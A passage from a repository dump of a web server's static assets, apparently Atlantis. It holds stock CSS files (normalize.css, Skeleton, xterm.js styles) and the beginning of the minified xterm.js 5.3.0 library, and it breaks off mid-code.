-300px; opacity: 0} to {top: 0; opacity: 1} } .js-discard-success { font-family: monospace, monospace; font-size: 1.1em; text-align: center; display: none; } .github-app-msg { font-family: monospace, monospace; font-size: 1.1em; text-align: center; } .title-heading { font-family: monospace, monospace; font-size: 1.1em; text-align: center; } .terminal-heading-white { font-family: monospace, monospace; font-size: 1.1em; text-align: center; color: white; } .small { font-size: 1.0em; } /* Footer contains the Atlantis version */ footer { font-family: monospace, monospace; font-size: 1.2rem; position: fixed; bottom: 0; right: 0; color: grey; padding-right: 10px; } .footer-white { font-family: monospace, monospace; font-size: 1.2rem; position: fixed; bottom: 0; right: 0; color: grey; padding-right: 10px; color: white; } ================================================ FILE: server/static/css/normalize.css ================================================ /*! normalize.css v3.0.2 | MIT License | git.io/normalize */ /** * 1. Set default font family to sans-serif. * 2. Prevent iOS text size adjust after orientation change, without disabling * user zoom. */ html { font-family: sans-serif; /* 1 */ -ms-text-size-adjust: 100%; /* 2 */ -webkit-text-size-adjust: 100%; /* 2 */ } /** * Remove default margin. */ body { margin: 0; } /* HTML5 display definitions ========================================================================== */ /** * Correct `block` display not defined for any HTML5 element in IE 8/9. * Correct `block` display not defined for `details` or `summary` in IE 10/11 * and Firefox. * Correct `block` display not defined for `main` in IE 11. */ article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } /** * 1. Correct `inline-block` display not defined in IE 8/9. * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera. */ audio, canvas, progress, video { display: inline-block; /* 1 */ vertical-align: baseline; /* 2 */ } /** * Prevent modern browsers from displaying `audio` without controls. * Remove excess height in iOS 5 devices. */ audio:not([controls]) { display: none; height: 0; } /** * Address `[hidden]` styling not present in IE 8/9/10. * Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22. */ [hidden], template { display: none; } /* Links ========================================================================== */ /** * Remove the gray background color from active links in IE 10. */ a { background-color: transparent; } /** * Improve readability when focused and also mouse hovered in all browsers. */ a:active, a:hover { outline: 0; } /* Text-level semantics ========================================================================== */ /** * Address styling not present in IE 8/9/10/11, Safari, and Chrome. */ abbr[title] { border-bottom: 1px dotted; } /** * Address style set to `bolder` in Firefox 4+, Safari, and Chrome. */ b, strong { font-weight: bold; } /** * Address styling not present in Safari and Chrome. */ dfn { font-style: italic; } /** * Address variable `h1` font-size and margin within `section` and `article` * contexts in Firefox 4+, Safari, and Chrome. */ h1 { font-size: 2em; margin: 0.67em 0; } /** * Address styling not present in IE 8/9. */ mark { background: #ff0; color: #000; } /** * Address inconsistent and variable font size in all browsers. */ small { font-size: 80%; } /** * Prevent `sub` and `sup` affecting `line-height` in all browsers. */ sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sup { top: -0.5em; } sub { bottom: -0.25em; } /* Embedded content ========================================================================== */ /** * Remove border when inside `a` element in IE 8/9/10. */ img { border: 0; } /** * Correct overflow not hidden in IE 9/10/11. */ svg:not(:root) { overflow: hidden; } /* Grouping content ========================================================================== */ /** * Address margin not present in IE 8/9 and Safari. */ figure { margin: 1em 40px; } /** * Address differences between Firefox and other browsers. */ hr { -moz-box-sizing: content-box; box-sizing: content-box; height: 0; } /** * Contain overflow in all browsers. */ pre { overflow: auto; } /** * Address odd `em`-unit font size rendering in all browsers. */ code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } /* Forms ========================================================================== */ /** * Known limitation: by default, Chrome and Safari on OS X allow very limited * styling of `select`, unless a `border` property is set. */ /** * 1. Correct color not being inherited. * Known issue: affects color of disabled elements. * 2. Correct font properties not being inherited. * 3. Address margins set differently in Firefox 4+, Safari, and Chrome. */ button, input, optgroup, select, textarea { color: inherit; /* 1 */ font: inherit; /* 2 */ margin: 0; /* 3 */ } /** * Address `overflow` set to `hidden` in IE 8/9/10/11. */ button { overflow: visible; } /** * Address inconsistent `text-transform` inheritance for `button` and `select`. * All other form control elements do not inherit `text-transform` values. * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera. * Correct `select` style inheritance in Firefox. */ button, select { text-transform: none; } /** * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio` * and `video` controls. * 2. Correct inability to style clickable `input` types in iOS. * 3. Improve usability and consistency of cursor style between image-type * `input` and others. */ button, html input[type="button"], /* 1 */ input[type="reset"], input[type="submit"] { -webkit-appearance: button; /* 2 */ cursor: pointer; /* 3 */ } /** * Re-set default cursor for disabled elements. */ button[disabled], html input[disabled] { cursor: default; } /** * Remove inner padding and border in Firefox 4+. */ button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } /** * Address Firefox 4+ setting `line-height` on `input` using `!important` in * the UA stylesheet. */ input { line-height: normal; } /** * It's recommended that you don't attempt to style these elements. * Firefox's implementation doesn't respect box-sizing, padding, or width. * * 1. Address box sizing set to `content-box` in IE 8/9/10. * 2. Remove excess padding in IE 8/9/10. */ input[type="checkbox"], input[type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } /** * Fix the cursor style for Chrome's increment/decrement buttons. For certain * `font-size` values of the `input`, it causes the cursor style of the * decrement button to change from `default` to `text`. */ input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } /** * 1. Address `appearance` set to `searchfield` in Safari and Chrome. * 2. Address `box-sizing` set to `border-box` in Safari and Chrome * (include `-moz` to future-proof). */ input[type="search"] { -webkit-appearance: textfield; /* 1 */ -moz-box-sizing: content-box; -webkit-box-sizing: content-box; /* 2 */ box-sizing: content-box; } /** * Remove inner padding and search cancel button in Safari and Chrome on OS X. * Safari (but not Chrome) clips the cancel button when the search input has * padding (and `textfield` appearance). */ input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } /** * Define consistent border, margin, and padding. */ fieldset { border: 1px solid #c0c0c0; margin: 0 2px; padding: 0.35em 0.625em 0.75em; } /** * 1. Correct `color` not being inherited in IE 8/9/10/11. * 2. Remove padding so people aren't caught out if they zero out fieldsets. */ legend { border: 0; /* 1 */ padding: 0; /* 2 */ } /** * Remove default vertical scrollbar in IE 8/9/10/11. */ textarea { overflow: auto; } /** * Don't inherit the `font-weight` (applied by a rule above). * NOTE: the default cannot safely be changed in Chrome and Safari on OS X. */ optgroup { font-weight: bold; } /* Tables ========================================================================== */ /** * Remove most spacing between table cells. */ table { border-collapse: collapse; border-spacing: 0; } td, th { padding: 0; } ================================================ FILE: server/static/css/skeleton.css ================================================ /* * Skeleton V2.0.4 * Copyright 2014, Dave Gamache * www.getskeleton.com * Free to use under the MIT license. * http://www.opensource.org/licenses/mit-license.php * 12/29/2014 */ /* Table of contents –––––––––––––––––––––––––––––––––––––––––––––––––– - Grid - Base Styles - Typography - Links - Buttons - Forms - Lists - Code - Tables - Spacing - Utilities - Clearing - Media Queries */ /* Grid –––––––––––––––––––––––––––––––––––––––––––––––––– */ .container { position: relative; width: 100%; max-width: 960px; margin: 0 auto; padding: 0 20px; box-sizing: border-box; } .column, .columns { width: 100%; float: left; box-sizing: border-box; } /* For devices larger than 400px */ @media (min-width: 400px) { .container { width: 85%; padding: 0; } } /* For devices larger than 550px */ @media (min-width: 550px) { .container { width: 80%; } .column, .columns { margin-left: 4%; } .column:first-child, .columns:first-child { margin-left: 0; } .one.column, .one.columns { width: 4.66666666667%; } .two.columns { width: 13.3333333333%; } .three.columns { width: 22%; } .four.columns { width: 30.6666666667%; } .five.columns { width: 39.3333333333%; } .six.columns { width: 48%; } .seven.columns { width: 56.6666666667%; } .eight.columns { width: 65.3333333333%; } .nine.columns { width: 74.0%; } .ten.columns { width: 82.6666666667%; } .eleven.columns { width: 91.3333333333%; } .twelve.columns { width: 100%; margin-left: 0; } .one-third.column { width: 30.6666666667%; } .two-thirds.column { width: 65.3333333333%; } .one-half.column { width: 48%; } /* Offsets */ .offset-by-one.column, .offset-by-one.columns { margin-left: 8.66666666667%; } .offset-by-two.column, .offset-by-two.columns { margin-left: 17.3333333333%; } .offset-by-three.column, .offset-by-three.columns { margin-left: 26%; } .offset-by-four.column, .offset-by-four.columns { margin-left: 34.6666666667%; } .offset-by-five.column, .offset-by-five.columns { margin-left: 43.3333333333%; } .offset-by-six.column, .offset-by-six.columns { margin-left: 52%; } .offset-by-seven.column, .offset-by-seven.columns { margin-left: 60.6666666667%; } .offset-by-eight.column, .offset-by-eight.columns { margin-left: 69.3333333333%; } .offset-by-nine.column, .offset-by-nine.columns { margin-left: 78.0%; } .offset-by-ten.column, .offset-by-ten.columns { margin-left: 86.6666666667%; } .offset-by-eleven.column, .offset-by-eleven.columns { margin-left: 95.3333333333%; } .offset-by-one-third.column, .offset-by-one-third.columns { margin-left: 34.6666666667%; } .offset-by-two-thirds.column, .offset-by-two-thirds.columns { margin-left: 69.3333333333%; } .offset-by-one-half.column, .offset-by-one-half.columns { margin-left: 52%; } } /* Base Styles –––––––––––––––––––––––––––––––––––––––––––––––––– */ /* NOTE html is set to 62.5% so that all the REM measurements throughout Skeleton are based on 10px sizing. So basically 1.5rem = 15px :) */ html { font-size: 62.5%; } body { font-size: 1.5em; /* currently ems cause chrome bug misinterpreting rems on body element */ line-height: 1.6; font-weight: 400; font-family: "Raleway", "HelveticaNeue", "Helvetica Neue", Helvetica, Arial, sans-serif; color: #222; } /* Typography –––––––––––––––––––––––––––––––––––––––––––––––––– */ h1, h2, h3, h4, h5, h6 { margin-top: 0; margin-bottom: 2rem; font-weight: 300; } h1 { font-size: 4.0rem; line-height: 1.2; letter-spacing: -.1rem;} h2 { font-size: 3.6rem; line-height: 1.25; letter-spacing: -.1rem; } h3 { font-size: 3.0rem; line-height: 1.3; letter-spacing: -.1rem; } h4 { font-size: 2.4rem; line-height: 1.35; letter-spacing: -.08rem; } h5 { font-size: 1.8rem; line-height: 1.5; letter-spacing: -.05rem; } h6 { font-size: 1.5rem; line-height: 1.6; letter-spacing: 0; } /* Larger than phablet */ @media (min-width: 550px) { h1 { font-size: 5.0rem; } h2 { font-size: 4.2rem; } h3 { font-size: 3.6rem; } h4 { font-size: 3.0rem; } h5 { font-size: 2.4rem; } h6 { font-size: 1.5rem; } } p { margin-top: 0; } /* Links –––––––––––––––––––––––––––––––––––––––––––––––––– */ a { color: #1EAEDB; } a:hover { color: #0FA0CE; } /* Buttons –––––––––––––––––––––––––––––––––––––––––––––––––– */ .button, button, input[type="submit"], input[type="reset"], input[type="button"] { display: inline-block; height: 38px; padding: 0 30px; color: #555; text-align: center; font-size: 11px; font-weight: 600; line-height: 38px; letter-spacing: .1rem; text-transform: uppercase; text-decoration: none; white-space: nowrap; background-color: transparent; border-radius: 4px; border: 1px solid #bbb; cursor: pointer; box-sizing: border-box; } .button:hover, button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type="button"]:hover, .button:focus, button:focus, input[type="submit"]:focus, input[type="reset"]:focus, input[type="button"]:focus { color: #333; border-color: #888; outline: 0; } .button.button-primary, button.button-primary, input[type="submit"].button-primary, input[type="reset"].button-primary, input[type="button"].button-primary { color: #FFF; background-color: #33C3F0; border-color: #33C3F0; } .button.button-primary:hover, button.button-primary:hover, input[type="submit"].button-primary:hover, input[type="reset"].button-primary:hover, input[type="button"].button-primary:hover, .button.button-primary:focus, button.button-primary:focus, input[type="submit"].button-primary:focus, input[type="reset"].button-primary:focus, input[type="button"].button-primary:focus { color: #FFF; background-color: #1EAEDB; border-color: #1EAEDB; } /* Forms –––––––––––––––––––––––––––––––––––––––––––––––––– */ input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select { height: 38px; padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */ background-color: #fff; border: 1px solid #D1D1D1; border-radius: 4px; box-shadow: none; box-sizing: border-box; } /* Removes awkward default styles on some inputs for iOS */ input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea { -webkit-appearance: none; -moz-appearance: none; appearance: none; } textarea { min-height: 65px; padding-top: 6px; padding-bottom: 6px; } input[type="email"]:focus, input[type="number"]:focus, input[type="search"]:focus, input[type="text"]:focus, input[type="tel"]:focus, input[type="url"]:focus, input[type="password"]:focus, textarea:focus, select:focus { border: 1px solid #33C3F0; outline: 0; } label, legend { display: block; margin-bottom: .5rem; font-weight: 600; } fieldset { padding: 0; border-width: 0; } input[type="checkbox"], input[type="radio"] { display: inline; } label > .label-body { display: inline-block; margin-left: .5rem; font-weight: normal; } /* Lists –––––––––––––––––––––––––––––––––––––––––––––––––– */ ul { list-style: circle inside; } ol { list-style: decimal inside; } ol, ul { padding-left: 0; margin-top: 0; } ul ul, ul ol, ol ol, ol ul { margin: 1.5rem 0 1.5rem 3rem; font-size: 90%; } li { margin-bottom: 1rem; } /* Code –––––––––––––––––––––––––––––––––––––––––––––––––– */ code { padding: .2rem .5rem; margin: 0 .2rem; font-size: 90%; white-space: nowrap; background: #F1F1F1; border: 1px solid #E1E1E1; border-radius: 4px; } pre > code { display: block; padding: 1rem 1.5rem; white-space: pre; } /* Tables –––––––––––––––––––––––––––––––––––––––––––––––––– */ th, td { padding: 12px 15px; text-align: left; border-bottom: 1px solid #E1E1E1; } th:first-child, td:first-child { padding-left: 0; } th:last-child, td:last-child { padding-right: 0; } /* Spacing –––––––––––––––––––––––––––––––––––––––––––––––––– */ button, .button { margin-bottom: 1rem; } input, textarea, select, fieldset { margin-bottom: 1.5rem; } pre, blockquote, dl, figure, table, p, ul, ol, form { margin-bottom: 2.5rem; } /* Utilities –––––––––––––––––––––––––––––––––––––––––––––––––– */ .u-full-width { width: 100%; box-sizing: border-box; } .u-max-full-width { max-width: 100%; box-sizing: border-box; } .u-pull-right { float: right; } .u-pull-left { float: left; } /* Misc –––––––––––––––––––––––––––––––––––––––––––––––––– */ hr { margin-top: 3rem; margin-bottom: 3.5rem; border-width: 0; border-top: 1px solid #E1E1E1; } /* Clearing –––––––––––––––––––––––––––––––––––––––––––––––––– */ /* Self Clearing Goodness */ .container:after, .row:after, .u-cf { content: ""; display: table; clear: both; } /* Media Queries –––––––––––––––––––––––––––––––––––––––––––––––––– */ /* Note: The best way to structure the use of media queries is to create the queries near the relevant code. For example, if you wanted to change the styles for buttons on small devices, paste the mobile query code up in the buttons section and style it there. */ /* Larger than mobile */ @media (min-width: 400px) {} /* Larger than phablet (also point when grid becomes active) */ @media (min-width: 550px) {} /* Larger than tablet */ @media (min-width: 750px) {} /* Larger than desktop */ @media (min-width: 1000px) {} /* Larger than Desktop HD */ @media (min-width: 1200px) {} ================================================ FILE: server/static/css/xterm-5.3.0.css ================================================ /** * Copyright (c) 2014 The xterm.js authors. All rights reserved. * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License) * https://github.com/chjj/term.js * @license MIT * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * Originally forked from (with the author's permission): * Fabrice Bellard's javascript vt100 for jslinux: * http://bellard.org/jslinux/ * Copyright (c) 2011 Fabrice Bellard * The original design remains. The terminal itself * has been extended to include xterm CSI codes, among * other features. */ /** * Default styles for xterm.js */ .xterm { cursor: text; position: relative; user-select: none; -ms-user-select: none; -webkit-user-select: none; } .xterm.focus, .xterm:focus { outline: none; } .xterm .xterm-helpers { position: absolute; top: 0; /** * The z-index of the helpers must be higher than the canvases in order for * IMEs to appear on top. */ z-index: 5; } .xterm .xterm-helper-textarea { padding: 0; border: 0; margin: 0; /* Move textarea out of the screen to the far left, so that the cursor is not visible */ position: absolute; opacity: 0; left: -9999em; top: 0; width: 0; height: 0; z-index: -5; /** Prevent wrapping so the IME appears against the textarea at the correct position */ white-space: nowrap; overflow: hidden; resize: none; } .xterm .composition-view { /* TODO: Composition position got messed up somewhere */ background: #000; color: #FFF; display: none; position: absolute; white-space: nowrap; z-index: 1; } .xterm .composition-view.active { display: block; } .xterm .xterm-viewport { /* On OS X this is required in order for the scroll bar to appear fully opaque */ background-color: #000; overflow-y: scroll; cursor: default; position: absolute; right: 0; left: 0; top: 0; bottom: 0; } .xterm .xterm-screen { position: relative; } .xterm .xterm-screen canvas { position: absolute; left: 0; top: 0; } .xterm .xterm-scroll-area { visibility: hidden; } .xterm-char-measure-element { display: inline-block; visibility: hidden; position: absolute; top: 0; left: -9999em; line-height: normal; } .xterm.enable-mouse-events { /* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */ cursor: default; } .xterm.xterm-cursor-pointer, .xterm .xterm-cursor-pointer { cursor: pointer; } .xterm.column-select.focus { /* Column selection mode */ cursor: crosshair; } .xterm .xterm-accessibility, .xterm .xterm-message { position: absolute; left: 0; top: 0; bottom: 0; right: 0; z-index: 10; color: transparent; pointer-events: none; } .xterm .live-region { position: absolute; left: -9999px; width: 1px; height: 1px; overflow: hidden; } .xterm-dim { /* Dim should not apply to background, so the opacity of the foreground color is applied * explicitly in the generated class and reset to 1 here */ opacity: 1 !important; } .xterm-underline-1 { text-decoration: underline; } .xterm-underline-2 { text-decoration: double underline; } .xterm-underline-3 { text-decoration: wavy underline; } .xterm-underline-4 { text-decoration: dotted underline; } .xterm-underline-5 { text-decoration: dashed underline; } .xterm-overline { text-decoration: overline; } .xterm-overline.xterm-underline-1 { text-decoration: overline underline; } .xterm-overline.xterm-underline-2 { text-decoration: overline double underline; } .xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; } .xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; } .xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; } .xterm-strikethrough { text-decoration: line-through; } .xterm-screen .xterm-decoration-container .xterm-decoration { z-index: 6; position: absolute; } .xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer { z-index: 7; } .xterm-decoration-overview-ruler { z-index: 8; position: absolute; top: 0; right: 0; pointer-events: none; } .xterm-decoration-top { z-index: 2; position: relative; } ================================================ FILE: server/static/js/xterm-5.3.0.js ================================================ !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var i=t();for(var s in i)("object"==typeof exports?exports:e)[s]=i[s]}}(self,(()=>(()=>{"use strict";var e={4567:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.AccessibilityManager=void 0;const n=i(9042),o=i(6114),a=i(9924),h=i(844),c=i(5596),l=i(4725),d=i(3656);let _=t.AccessibilityManager=class extends h.Disposable{constructor(e,t){super(),this._terminal=e,this._renderService=t,this._liveRegionLineCount=0,this._charsToConsume=[],this._charsToAnnounce="",this._accessibilityContainer=document.createElement("div"),this._accessibilityContainer.classList.add("xterm-accessibility"),this._rowContainer=document.createElement("div"),this._rowContainer.setAttribute("role","list"),this._rowContainer.classList.add("xterm-accessibility-tree"),this._rowElements=[];for(let e=0;ethis._handleBoundaryFocus(e,0),this._bottomBoundaryFocusListener=e=>this._handleBoundaryFocus(e,1),this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions(),this._accessibilityContainer.appendChild(this._rowContainer),this._liveRegion=document.createElement("div"),this._liveRegion.classList.add("live-region"),this._liveRegion.setAttribute("aria-live","assertive"),this._accessibilityContainer.appendChild(this._liveRegion),this._liveRegionDebouncer=this.register(new a.TimeBasedDebouncer(this._renderRows.bind(this))),!this._terminal.element)throw new Error("Cannot enable accessibility before Terminal.open");this._terminal.element.insertAdjacentElement("afterbegin",this._accessibilityContainer),this.register(this._terminal.onResize((e=>this._handleResize(e.rows)))),this.register(this._terminal.onRender((e=>this._refreshRows(e.start,e.end)))),this.register(this._terminal.onScroll((()=>this._refreshRows()))),this.register(this._terminal.onA11yChar((e=>this._handleChar(e)))),this.register(this._terminal.onLineFeed((()=>this._handleChar("\n")))),this.register(this._terminal.onA11yTab((e=>this._handleTab(e)))),this.register(this._terminal.onKey((e=>this._handleKey(e.key)))),this.register(this._terminal.onBlur((()=>this._clearLiveRegion()))),this.register(this._renderService.onDimensionsChange((()=>this._refreshRowsDimensions()))),this._screenDprMonitor=new c.ScreenDprMonitor(window),this.register(this._screenDprMonitor),this._screenDprMonitor.setListener((()=>this._refreshRowsDimensions())),this.register((0,d.addDisposableDomListener)(window,"resize",(()=>this._refreshRowsDimensions()))),this._refreshRows(),this.register((0,h.toDisposable)((()=>{this._accessibilityContainer.remove(),this._rowElements.length=0})))}_handleTab(e){for(let t=0;t0?this._charsToConsume.shift()!==e&&(this._charsToAnnounce+=e):this._charsToAnnounce+=e,"\n"===e&&(this._liveRegionLineCount++,21===this._liveRegionLineCount&&(this._liveRegion.textContent+=n.tooMuchOutput)),o.isMac&&this._liveRegion.textContent&&this._liveRegion.textContent.length>0&&!this._liveRegion.parentNode&&setTimeout((()=>{this._accessibilityContainer.appendChild(this._liveRegion)}),0))}_clearLiveRegion(){this._liveRegion.textContent="",this._liveRegionLineCount=0,o.isMac&&this._liveRegion.remove()}_handleKey(e){this._clearLiveRegion(),/\p{Control}/u.test(e)||this._charsToConsume.push(e)}_refreshRows(e,t){this._liveRegionDebouncer.refresh(e,t,this._terminal.rows)}_renderRows(e,t){const i=this._terminal.buffer,s=i.lines.length.toString();for(let r=e;r<=t;r++){const e=i.translateBufferLineToString(i.ydisp+r,!0),t=(i.ydisp+r+1).toString(),n=this._rowElements[r];n&&(0===e.length?n.innerText=" ":n.textContent=e,n.setAttribute("aria-posinset",t),n.setAttribute("aria-setsize",s))}this._announceCharacters()}_announceCharacters(){0!==this._charsToAnnounce.length&&(this._liveRegion.textContent+=this._charsToAnnounce,this._charsToAnnounce="")}_handleBoundaryFocus(e,t){const i=e.target,s=this._rowElements[0===t?1:this._rowElements.length-2];if(i.getAttribute("aria-posinset")===(0===t?"1":`${this._terminal.buffer.lines.length}`))return;if(e.relatedTarget!==s)return;let r,n;if(0===t?(r=i,n=this._rowElements.pop(),this._rowContainer.removeChild(n)):(r=this._rowElements.shift(),n=i,this._rowContainer.removeChild(r)),r.removeEventListener("focus",this._topBoundaryFocusListener),n.removeEventListener("focus",this._bottomBoundaryFocusListener),0===t){const e=this._createAccessibilityTreeNode();this._rowElements.unshift(e),this._rowContainer.insertAdjacentElement("afterbegin",e)}else{const e=this._createAccessibilityTreeNode();this._rowElements.push(e),this._rowContainer.appendChild(e)}this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._terminal.scrollLines(0===t?-1:1),this._rowElements[0===t?1:this._rowElements.length-2].focus(),e.preventDefault(),e.stopImmediatePropagation()}_handleResize(e){this._rowElements[this._rowElements.length-1].removeEventListener("focus",this._bottomBoundaryFocusListener);for(let e=this._rowContainer.children.length;ee;)this._rowContainer.removeChild(this._rowElements.pop());this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions()}_createAccessibilityTreeNode(){const e=document.createElement("div");return e.setAttribute("role","listitem"),e.tabIndex=-1,this._refreshRowDimensions(e),e}_refreshRowsDimensions(){if(this._renderService.dimensions.css.cell.height){this._accessibilityContainer.style.width=`${this._renderService.dimensions.css.canvas.width}px`,this._rowElements.length!==this._terminal.rows&&this._handleResize(this._terminal.rows);for(let e=0;e{function i(e){return e.replace(/\r?\n/g,"\r")}function s(e,t){return t?"[200~"+e+"[201~":e}function r(e,t,r,n){e=s(e=i(e),r.decPrivateModes.bracketedPasteMode&&!0!==n.rawOptions.ignoreBracketedPasteMode),r.triggerDataEvent(e,!0),t.value=""}function n(e,t,i){const s=i.getBoundingClientRect(),r=e.clientX-s.left-10,n=e.clientY-s.top-10;t.style.width="20px",t.style.height="20px",t.style.left=`${r}px`,t.style.top=`${n}px`,t.style.zIndex="1000",t.focus()}Object.defineProperty(t,"__esModule",{value:!0}),t.rightClickHandler=t.moveTextAreaUnderMouseCursor=t.paste=t.handlePasteEvent=t.copyHandler=t.bracketTextForPaste=t.prepareTextForTerminal=void 0,t.prepareTextForTerminal=i,t.bracketTextForPaste=s,t.copyHandler=function(e,t){e.clipboardData&&e.clipboardData.setData("text/plain",t.selectionText),e.preventDefault()},t.handlePasteEvent=function(e,t,i,s){e.stopPropagation(),e.clipboardData&&r(e.clipboardData.getData("text/plain"),t,i,s)},t.paste=r,t.moveTextAreaUnderMouseCursor=n,t.rightClickHandler=function(e,t,i,s,r){n(e,t,i),r&&s.rightClickSelect(e),t.value=s.selectionText,t.select()}},7239:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ColorContrastCache=void 0;const s=i(1505);t.ColorContrastCache=class{constructor(){this._color=new s.TwoKeyMap,this._css=new s.TwoKeyMap}setCss(e,t,i){this._css.set(e,t,i)}getCss(e,t){return this._css.get(e,t)}setColor(e,t,i){this._color.set(e,t,i)}getColor(e,t){return this._color.get(e,t)}clear(){this._color.clear(),this._css.clear()}}},3656:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.addDisposableDomListener=void 0,t.addDisposableDomListener=function(e,t,i,s){e.addEventListener(t,i,s);let r=!1;return{dispose:()=>{r||(r=!0,e.removeEventListener(t,i,s))}}}},6465:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.Linkifier2=void 0;const n=i(3656),o=i(8460),a=i(844),h=i(2585);let c=t.Linkifier2=class extends a.Disposable{get currentLink(){return this._currentLink}constructor(e){super(),this._bufferService=e,this._linkProviders=[],this._linkCacheDisposables=[],this._isMouseOut=!0,this._wasResized=!1,this._activeLine=-1,this._onShowLinkUnderline=this.register(new o.EventEmitter),this.onShowLinkUnderline=this._onShowLinkUnderline.event,this._onHideLinkUnderline=this.register(new o.EventEmitter),this.onHideLinkUnderline=this._onHideLinkUnderline.event,this.register((0,a.getDisposeArrayDisposable)(this._linkCacheDisposables)),this.register((0,a.toDisposable)((()=>{this._lastMouseEvent=void 0}))),this.register(this._bufferService.onResize((()=>{this._clearCurrentLink(),this._wasResized=!0})))}registerLinkProvider(e){return this._linkProviders.push(e),{dispose:()=>{const t=this._linkProviders.indexOf(e);-1!==t&&this._linkProviders.splice(t,1)}}}attachToDom(e,t,i){this._element=e,this._mouseService=t,this._renderService=i,this.register((0,n.addDisposableDomListener)(this._element,"mouseleave",(()=>{this._isMouseOut=!0,this._clearCurrentLink()}))),this.register((0,n.addDisposableDomListener)(this._element,"mousemove",this._handleMouseMove.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,"mousedown",this._handleMouseDown.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,"mouseup",this._handleMouseUp.bind(this)))}_handleMouseMove(e){if(this._lastMouseEvent=e,!this._element||!this._mouseService)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);if(!t)return;this._isMouseOut=!1;const i=e.composedPath();for(let e=0;e{null==e||e.forEach((e=>{e.link.dispose&&e.link.dispose()}))})),this._activeProviderReplies=new Map,this._activeLine=e.y);let r=!1;for(const[i,n]of this._linkProviders.entries())t?(null===(s=this._activeProviderReplies)||void 0===s?void 0:s.get(i))&&(r=this._checkLinkProviderResult(i,e,r)):n.provideLinks(e.y,(t=>{var s,n;if(this._isMouseOut)return;const o=null==t?void 0:t.map((e=>({link:e})));null===(s=this._activeProviderReplies)||void 0===s||s.set(i,o),r=this._checkLinkProviderResult(i,e,r),(null===(n=this._activeProviderReplies)||void 0===n?void 0:n.size)===this._linkProviders.length&&this._removeIntersectingLinks(e.y,this._activeProviderReplies)}))}_removeIntersectingLinks(e,t){const i=new Set;for(let s=0;se?this._bufferService.cols:s.link.range.end.x;for(let e=n;e<=o;e++){if(i.has(e)){r.splice(t--,1);break}i.add(e)}}}}_checkLinkProviderResult(e,t,i){var s;if(!this._activeProviderReplies)return i;const r=this._activeProviderReplies.get(e);let n=!1;for(let 